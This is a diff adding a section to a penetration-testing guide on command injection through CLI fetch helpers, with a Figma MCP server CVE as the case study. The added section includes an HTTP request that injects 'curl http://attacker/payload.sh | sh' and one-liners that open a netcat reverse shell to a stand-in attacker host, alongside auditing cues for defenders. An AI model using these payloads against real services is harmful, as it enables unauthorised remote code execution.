diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index dc2b2c0b8ee..2f493b8576b 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -158,6 +158,31 @@ execFile('/usr/bin/do-something', [ Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +### CLI-based fetch helpers chaining into shells (`fetchWithRetry` case study) + +Agentic back-ends and MCP servers often wrap CLI HTTP clients (`curl`, `wget`, `aria2c`) to add retry/backoff features. In CVE-2025-15061 (ZDI-25-1197) the Figma MCP Server exposed an unauthenticated RPC that called `fetchWithRetry`, produced `curl --retry 5 --connect-timeout 10 ${user_url}`, and executed it through a shell-aware API. Because `user_url` was attacker-controlled, any shell metacharacter (`;`, `&&`, `|`, `$()`, backticks…) yielded arbitrary commands as the service account. + +#### Attack workflow + +- Hunt for unauthenticated actions or MCP tools that funnel user URLs into helper functions (often named `fetch*`, `retry*`, `context*`). +- Confirm the helper shells out to the OS (Node `exec`, Python `os.system`, Go `exec.Command` with `SysProcAttr.CmdLine`, etc.) instead of passing arguments safely. +- Inject secondary commands once the helper is reached: + +```http +POST /mcp/fetch HTTP/1.1 +Content-Type: application/json + +{"url":"https://legit.example/api; curl http://attacker/payload.sh | sh"} +``` + +This keeps the original URL syntactically valid while the spawned shell executes the injected `curl`. Other one-liners such as `https://victim&&nc attacker 4444 -e /bin/sh` or `https://target|bash -c 'id'` work equally well. + +#### Auditing cues + +- Grep for helper names (`fetchWithRetry`, `fetchAndCache`, `retryingCurl`, etc.) that concatenate URLs into a single command string. +- Treat any wrapper that combines user-controlled data with `/bin/sh -c`, PowerShell, or `cmd.exe /c` as an immediate RCE primitive. +- Check for libraries that expose `shell: true`/`use_shell=True`; if the untrusted URL is interpolated in the same string, you already have command execution. + ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. @@ -224,5 +249,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) - [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) +- [ZDI-25-1197 – Framelink Figma MCP Server `fetchWithRetry` Command Injection](http://www.zerodayinitiative.com/advisories/ZDI-25-1197/) +- [GHSA-gxw4-4fc5-9gr5 – Figma-Context-MCP command injection fix](https://github.com/GLips/Figma-Context-MCP/security/advisories/GHSA-gxw4-4fc5-9gr5) {{#include ../banners/hacktricks-training.md}}